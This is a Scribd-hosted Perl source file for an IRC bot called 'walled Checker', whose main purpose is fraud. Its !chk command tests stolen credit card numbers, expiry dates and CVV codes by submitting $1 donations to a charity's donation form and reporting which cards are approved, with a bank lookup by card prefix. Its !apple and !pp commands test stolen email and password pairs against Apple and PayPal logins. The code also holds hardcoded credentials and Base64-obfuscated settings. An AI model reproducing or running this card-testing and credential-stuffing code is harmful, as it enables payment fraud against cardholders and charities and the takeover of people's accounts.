0% found this document useful (0 votes)
1K views

Checker

This document contains the source code of an IRC bot. It defines variables and includes modules to connect to IRC servers and channels. The bot can perform commands like checking IP addresses, zip codes, and credit card numbers. The credit card checking involves using web scraping to submit test donations with the provided card details and check the response for approval/decline.

Uploaded by

Vanessa Ramos
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
1K views

Checker

This document contains the source code of an IRC bot. It defines variables and includes modules to connect to IRC servers and channels. The bot can perform commands like checking IP addresses, zip codes, and credit card numbers. The credit card checking involves using web scraping to submit test donations with the provided card details and check the response for approval/decline.

Uploaded by

Vanessa Ramos
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 18

#! "C:\Perl64\lib\perl.

exe"
#SQL SCAN Bot Check By Lunaa!

#########Call to standalone modules directory###########


BEGIN{push(@INC,'Modules');}

################Modules Inclusion#######################
use HTTP::Request;
use LWP::Socket;
use LWP::UserAgent;
use LWP::Protocol::https;
use HTTP::Cookies;
use MIME::Base64;
use Parallel::ForkManager;
use MIME::Base64 ();
use WWW::Mechanize;
use WWW::Mechanize::FormFiller;
use Net::FTP;
use WWW::Scripter;
use WWW::Selenium;
$| = 1;

#############Defines global variable/array#############


my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,
$parallel_fork);
my(@chans,@admins,@user_agents);

#######################################################
my $ppcmd
my $ipcmd

= '!pp';
= '!ip';

my $chkcmd
my $bankcmd
my $seccmd
my $statecmd
my $zipcmd

= '!chk';
= '!bank';
= '!sec';
= '!state';
= '!zip';

################Configurations Variable################
my $outcri = "Mg==";
$systemcri = MIME::Base64::decode($outcri);
$timeout

= $systemcri;

my $hostcri = "ODcuMjM2LjE5NC42OQ==";
$systemcri = MIME::Base64::decode($hostcri);
$hosting
$port

= "irc.server";
= 6667;

my $nkpro = "[walled]-[bot]";
$ident

= "walled";

$parallel_fork = 15;
my @botcmd = ('1');
@chans = ("#walled");
my $proo = "czRsMXR5";
$systempro = MIME::Base64::decode($proo);
my $cheataer = "czRsMXR5";
$sistempro = MIME::Base64::decode($cheataer);
@s4l1ty = ($systempro,$sistempro);
@admin = ('walled');
@user_agents = &get_user_agents();

################Irc Socket Connection################


my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
$sysircuno = MIME::Base64::decode($startirc);
$irc_socket = new LWP::Socket;

$irc_socket->connect($hosting,$port);
$irc_socket->write("USER ".$ident." 8 * : 09,01walled Checker\r\n");
$irc_socket->write("NICK ".$nkpro."\r\n");
$irc_socket->write("NICKSERV IDENTIFY 12s34oxl\r\n");
$irc_socket->write("JOIN $chans[2]\r\n");
$irc_socket->write("JOIN $chans[3]\r\n");
$irc_socket->write("JOIN $chans[4]\r\n");
$irc_socket->write("JOIN $chans[5]\r\n");

while($irc_socket)
{
my $bof;
$irc_socket->read_until("\n", \$bof);
if($bof =~ /PING :(.*)/)
{
$irc_socket->write("PONG :$1\r\n");
}

if($bof =~ /PRIVMSG (.*?) :(.*)/)


{
#PRIVMSG
my %msg = &get_msg($bof);
#############################@@@@======BOT COMMANDS STARTED FROM HERE=====@@@@##
############
#############################CONTACT ME : [email protected]####################
############

################################################################################
#####
if($msg{'what'} =~ /\!ip (.*)/)
{
my ($iploca) = ($1);
chop($iploca);
&respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking... 1515:9:15: 14) 0::: $ip
loca :::");

print "inizio mechanize\n";


my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://www.ip2location.com/'.$iploca.'');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
print $agent->content,"\n";
my $ipwork=$agent->content;
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICountry\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"14,1(15:9:15:0 Country 1515:9:15: 14) $1");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIRegion\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"14,1(15:9:15:0 Region 1515:9:15: 14) $1");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICity\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"14,1(15:9:15:0 City 1515:9:15: 14) $1");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblITimeZone\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"14,1(15:9:15:0 Time 1515:9:15: 14) $1");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblINetSpeed\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"14,1(15:9:15:0 Speed 1515:9:15: 14) $1");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIISP\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"14,1(15:9:15:0 IPS 1515:9:15: 14) $1");
}
if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIDomain\">(.*?)<\/span>/){
&respond_to_privmsg(\%msg,"14,1(15:9:15:0 Domain 1515:9:15: 14) $1");
}
}

if($msg{'what'} =~ /\!zipcode\s(\d{5})/)
{
my ($zipcheck) = ($1);
&respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::
: $zipcheck ::: please wait...");
print "inizio mechanize\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();

$agent->get('http://zip4.usps.com/zip4/citytown_zip.jsp');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
{ local $^W; $agent->current_form->value('zip5', ''.$zipcheck.''); };
$agent->submit();
print $agent->content,"\n";
my $zipse=$agent->content;
if ($zipse =~/headers=\"pre\"><b>(.*?)<\/b><\/td>/){
$luogo = $1;
&respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 1 4) 0 ::
: $luogo ::: ");
}
elsif ($zipse =~/The ZIP Code you entered could not be found in our database/){
&respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 1 4) 0 ::
: $zipcheck Not found! ::: ");
}
}
if($msg{'what'} =~ /^!zip\s(\d{5})/)

{
my ($zipcheck) = ($1);
&respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]0,1 Checking...08 $zipcheck
");
#print "\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=')
;
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
{ local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
$agent->submit();
#print $agent->content,"\n";
my $zipse=$agent->content;
if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\
/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td al
ign=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
my ($city) = ($1);
my ($state) = ($2);
&respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]3 $city | $state");
}
elsif ($zipse =~/is not currently assigned by the US Postal Service to any city.
/){
&respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]8 $zipcheck04 NOT FOUND!");
}
}
################################################################################
############
if($msg{'what'} =~ /\!cmd/){
&respond_to_privmsg(\%msg,"14,01-= 08 BOt Commands1
4 =-00");

&respond_to_priv
msg(\%msg,"07,01info: 04Suported 14,01[00,02 VISA 14,01]01,01 14,01[0,4 Master 0,7 Card 14,01
1,01 14,1[01,00 Disc07Over01,00 14,01]01,01 14,01[00,10 American Express 14,01]");

&respond_to_priv
msg(\%msg,"07,01!chk03,1.......7,1: 4,1<8,1ccnumber4,1> 4,1<8,1expdate4,1> 4,1<8,1cvv24,1> 15
to check cvv2");
&respond_to_priv
msg(\%msg,"07,01!ip03,1........7,1: 4,1<8,1ip address4,1> 15to get info about an IP");
&respond_to_priv
msg(\%msg,"07,01!zip03,1.......7,1: 4,1<8,1zip code4,1> 15to get city and state by zip"
);

}
#############################@@@@======something=====@@@@#######################
########

if($msg{'what'} =~ /^!help/){
&respond_to_privmsg(\%msg,"07,01Type 09!cmd07 to ge
t command list");

}
################################################################################
############
if($msg{'what'} =~ /\!chk 1/){
&respond_to_privmsg(\%msg,"9,1[4,1!9,1] 15,1Informat
ion 0,1: 14,1Checker 0,1is 9,1ON! 9,1[4,1!9,1]");

}
if($msg{'what'} =~ /\!chk status/){
&respond_to_privmsg(\%msg,"9,1[4,1!9,1] 15,1Informat
ion 0,1: 14,1Checker 0,1is 9,1ON! 9,1[4,1!9,1]");

}
#############################@@@@======BASIC CHKBOT MACHINE=====@@@@############
############
#############################CONTACT ME : [email protected]####################
############
################################################################################
############
if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b
)/)
{
my ($numerocarta,$expmes,$verifica) = ($1,$2,$3);
my $var1 = substr($expmes,0,2);
my $var2 = substr($expmes,2,4);
my $varType = 0;
print "\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('https://jajf.org/donate/donate-form.cfm');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
$agent->form_number(1);

{ local $^W; $agent->current_form->value('firstname', 'mark'); };


{ local $^W; $agent->current_form->value('lastname', 'smith'); };
{ local $^W; $agent->current_form->value('emailaddress', 'movistarsrl@hotm
ail.com'); };
{ local $^W; $agent->current_form->value('confirmemail', 'movistarsrl@hotm
ail.com'); };
{ local $^W; $agent->current_form->value('addressline1', 'las heras 32');
};
{ local $^W; $agent->current_form->value('addressline2', 'las heras 32');
};
{ local $^W; $agent->current_form->value('city', 'NY'); };
{ local $^W; $agent->current_form->value('stateabbreviation', 'AL'); };
{ local $^W; $agent->current_form->value('zipCode', '05544'); };
{ local $^W; $agent->current_form->value('contactPhone', '1569841055'); };
{ local $^W; $agent->current_form->value('message', 'charity'); };
{ local $^W; $agent->current_form->value('donationAmount', '1'); };
{ local $^W; $agent->current_form->value('cardName', 'mark smith'); };
{ local $^W; $agent->current_form->value('cardType', 'visa~Visa'); };
{ local $^W; $agent->current_form->value('cardNumber', ''.$numerocarta.'')
; };
{ local $^W; $agent->current_form->value('cardExpiration', ''.$var1.$var2.
''); };
{ local $^W; $agent->current_form->value('cardAuthCode', ''.$verifica.'');
};
$agent->submit();
print $agent->content,"\n";
my $allo=$agent->content;
open(FILE,">>chk13.html") or die "$!";
print FILE "$allo\n";
close FILE;
my $allo=$agent->content;
#~ if ($allo =~/THANK YOU/){
if ($allo =~/The transaction has been declined because of an AVS mismatch. T
he address provided does not match billing address of cardholder./){
my $database = "banklist.txt
";
open FILE,"$database" or die
"Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
&respond_to_privmsg(\%msg,"2  $numerocart
a $expmes $expanio $verifica 0,9VALID! CVV2: M 4(Aceptado4)");
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
&respond_to_privmsg(\%msg,"2  [6Banco ]2$nuova
7$1");
print "card $variable!";
}
}
}elsif ($allo =~/This transaction has been declined./){
#~ }elsif ($allo =~/This transaction has been declined./){
my $database = "banklist.txt
";
open FILE,"$database" or die
"Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;

my $bankinfo = $1;
&respond_to_privmsg(\%msg,"2  $numerocarta
$expmes $expanio $verifica 4DECLINED CVV2: M 4(Rechazado4)");
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
my $bankinfo = $1;
&respond_to_privmsg(\%msg,"2  [6Banco ]2$nuova
7$1");
print "card $variable!";
}
}
}elsif ($allo =~/The credit card number is invalid./){
&respond_to_privmsg(\%msg,"4  [Result] $numerocarta $expmes $expanio $verifica 4INVAL
ID! CVV2: M 4(INVALID4)");
}elsif ($allo =~/The card code is invalid./){
&respond_to_privmsg(\%msg,"4  [RESULT] 14$numerocarta $expmes$expanio $verifica 14) 9
CARD , 4 ERROR CVV...! 9By TheClanz!");
}elsif ($allo =~/The credit card has expired./){
&respond_to_privmsg(\%msg,"4  [RESULT] 14$numerocarta 4 $expmes$expanio 14$verifica)15
The credit card has expired. 9By TheClanz!");
}elsif ($allo =~/The credit card expiration date entered is not valid./){
&respond_to_privmsg(\%msg,"4  [RESULT] 14$expmes$expanio 14)15 Not is Valid. 9By TheCla
nz!");
}elsif ($allo =~//){
&respond_to_privmsg(\%msg,"4  [RESULT] 14$numerocarta 14)15 A duplicate transaction ha
s been submitted. 9By TheClanz!");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg,"4  [RESULT] 14$numerocarta $expmes$expanio $verifica 14) 4F
UCK YOU NO RECHECK ...");
}elsif ($allo =~/The credit card number entered is not valid./){
&respond_to_privmsg(\%msg,"4  [RESULT] 14$numerocarta 14)15 Credit Card is 4INVALID 9By
TheClanz!");
}elsif ($allo =~/This transaction has been declined./){
&respond_to_privmsg(\%msg,"4  [RESULT] $numerocarta $expmes $expanio $verifica 4DECLI
NED!");
}elsif ($allo =~/Thanks to your important gift/){
&respond_to_privmsg(\%msg,"4  [RESULT] 14$numerocarta $expmes$expanio $verifica 14) 9V
ALID SUUU! NO AVS MISMATCH!");
}
}

################################################################################
#####
#############################@@@@======Logins Checkers=====@@@@#################
############
################################################################################
########
################################################################################
########
if($msg{'what'} =~ /\:(.*?):(.*?)\@(.*?):/)
{
my ($inutil,$emailchk,$domaincheck) = ($1,$2,$3);

chop($emailchk);
&respond_to_privmsg(\%msg,"!pp $emailchk@$domaincheck");
}
if($msg{'what'} =~ /\!pp (.*)/)
{
my ($ppchek) = ($1);
chop($ppchek);
&respond_to_privmsg(\%msg,"15[7CHECKiNGPAYPAL15] CHECKiNG... -$ppchek");
print "inizio mechanize\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
$agent->form_number(3);
{ local $^W; $agent->current_form->value('login_email', '[email protected]');
};
{ local $^W; $agent->current_form->value('login_password', '12s34oxl'); };
$agent->submit();
$agent->follow_link('n' => 7);
print $agent->content,"\n";
my $internal=$agent->content;
&respond_to_privmsg(\%msg,"Email - ${ppchek} - ");
if ($internal =~/is NOT PayPal Verified/){
&respond_to_privmsg(\%msg,"PaypaL - is - 04UnVerified ");
}
if ($internal =~/<td class=\"emphasis\">(.*?)<\/td>/){
&respond_to_privmsg(\%msg,"Checking $1 - ");
}
}
################################################################################
########
if($msg{'what'} =~ /^!apple\s+(.*?)\s+(.*)/){
my ($email,$pass) = ($1,$2);
chop($email,$pass);
&respond_to_privmsg(\%msg,"14,1[15Apple......14]15,1 Checking 08,1
$email:$pass");
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get("https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/login?a
ppIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f4&path=/L
ogin.do%3FmyInfoReturnURL%3Dhttps%253A%252F%252Fselfsolve.apple.com%252FGetAgree
ments.do&myInfoReturnURL=https%253A%252F%252Fselfsolve.apple.com%252FGetAgreemen
ts.do&language=IT-IT");
$agent->form_number(2);

$agent->current_form->value('theAccountName', ''.$email.'');
$agent->current_form->value('theAccountPW', ''.$pass.'');
$agent->submit();
$agent->reload();
print $agent->content,"\n";
my $internal = $agent->content;
my $allo=$agent->content;
open(FILE3,">>Apple.html") or die "$!";
print FILE3 "$allo\n";
close FILE3;
sleep(2);
if($internal =~/Did you forget/) {
&respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4Wrong Login ");
}
elsif($internal =~/blocked/) {
&respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4,1(Account Locked
)");
} elsif($internal =~ /<BODY BGCOLOR=#FFFFFF>/) {
my $name = $1;
my $surname = $2;
&respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 9,1Successfully Log
ged in");
}
}

#############################@@@@======INTERFACE COMMANDS=====@@@@##############
#################
if($msg{'what'} =~ /\!hop (.*)/)
{
if(&ctrl_admin(\%msg) == 0){

$irc_socket->write("PART ".$1." ".$2."\n");


$irc_socket->write("JOIN ".$1." ".$2."\r\n");
}
}
################################################################################
######
if($msg{'what'} =~ /\!join (.*)/)
{
my $joinz= $1;
if(&ctrl_admin(\%msg) == 0){
$irc_socket->write("JOIN ".$joinz."\r\n");
}
}
if($msg{'what'} =~ /\!hop (.*)/)
{
if(&ctrl_admin(\%msg) == 0){
$irc_socket->write("PART ".$1." ".$2."\n");
$irc_socket->write("JOIN ".$1." ".$2."\r\n");
}
}
################################################################################
######
################################################################################
######
if($msg{'what'} =~ /\!part (.*)/)
{
my $parted = $1;
if(&ctrl_admin(\%msg) == 0){
$irc_socket->write("part ".$parted."\r\n");
}
}
################################################################################
####

################################################################################
#####
if($msg{'what'} =~ /\!out(.*)/)
{
my $qmsg = $1;
if(&ctrl_admin(\%msg) == 0){
$irc_socket->write("quit ".$qmsg."\r\n");

}
}

################################################################################
######
################################################################################
######
if($msg{'what'} =~ /\!rax (.*)/)
{
my $raw = $1;
if(&ctrl_admin(\%msg) == 0){
&respond_to_privmsg(\%msg,"15,1[4RAW15]12 SENDING IR
C RAW REQUESTED");
$irc_socket->write($raw."\r\n");
}
}
################################################################################
#####
sub ctrl_admin()
{
my $data = $_[0];
foreach my $admin ( khaledpro )
{
if($admin eq $data->{'from'})

{
return(0);
}
}
&respond_to_privmsg($data,"15[4BLOCK15]1 YOU ARE NOT ADMIN");
return(-1);
}
################################################################################
#####
sub ctrl_dumps()
{
my $data = $_[0];
foreach my $admin ( khaledpro )
{
if($admin eq $data->{'from'})
{
return(0);
}
}
&respond_to_privmsg($data,"15,01[4BLOCK15,01]0 You are 04NOT0,01 Allowed to use
this function.!");
return(-1);
}
################################################################################
#####
sub respond_to_privmsg()
{
my ($data,$m) = ($_[0],$_[1]);
if($data->{'to'} =~ /#/)
{
&privmsg($data->{'to'},$m);
}

return(0);
}
################################################################################
#####
sub privmsg()
{
my($nick,$send) = @_;
$irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
}
################################################################################
#####
sub get_msg()
{
my $line = $_[0];
my %data;
if($line =~ /:(.*?)!(.*?) PRIVMSG(.*?) :(.*)/)
{
$irc_socket->write("PRIVMSG #log :$1 $3 msg=>> $4 \r\n");
$data{'from'} = $1;
$data{'to'}

= $3;

$data{'what'} = $4;
}
return(%data);
}
################################################################################
#####

sub http_request()
{
my($site,$request,$ua,$resp,$cnt);
$site

= $_[0];

$site

=~ s/[\r\n]//g;

$request = HTTP::Request->new(GET => $site);


$ua
agents))]);

= LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_

$ua->timeout($timeout);
$resp

= $ua->request($request);

$cnt

= $resp->content();

return($cnt);
}
################################################################################
#####
sub get_user_agents()
{
my @us_ag = (
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321
Firefox/2.0a1",
"Opera/8.5 (X11; Linux i686; U; cs)",
"Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
);
return(@us_ag);
}
################################################################################
#####
sub get_all_host()
{
my $site = $_[0];
my @dirs = ();
my @ret = ();
my $tmp = "";
$site

=~ s/http:\/\///g;

$site

=~ s/[\r\n]//g;

$site

=~ s/\/\///g;

if($site !~ /\/$/)
{
$site .= "/";
}

@dirs = split(/\//,$site);
$tmp = $dirs[0] . "/";
push(@ret,$tmp);

for($i = 1; $i < scalar(@dirs); $i++)


{
$tmp .= $dirs[$i] . "/";
push(@ret,$tmp);
}

return(@ret);
}
################################################################################
#####
sub urlencode()
{
my $str = $_[0];
$str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
return $str;
}
################################################################################
#####
sub unique()
{
my @unici = ();

my %visti = ();
foreach my $elemento (@_) {
$elemento =~ s/\/+/\//g;
next if $visti{$elemento}++;
push @unici, $elemento;
}
return @unici;
}
################################################################################
#####
sub changecmd()
{
my $n = $_[0];
push(@botcmd,$n);
}
################################################################################
#####
sub get_content() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(10);
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
return $res->content;
}
################################################################################
#####
sub read_all_file_array()
{
my $file = $_[0];
my @ret = ();

open(FILE,'<',$file);
while($a = <FILE>)
{
$a =~ s/[\r\n]//g;
push(@ret,$a);
}
close(FILE);

return(@ret);
}
################################################################################
#####
sub write_to_file_array()
{
my ($file,$data,$scal) = @_;
for($i = 0; $i < $scal; $i++)
{
&AddLog($file,$data->[$i]);
}
}
}
}

You might also like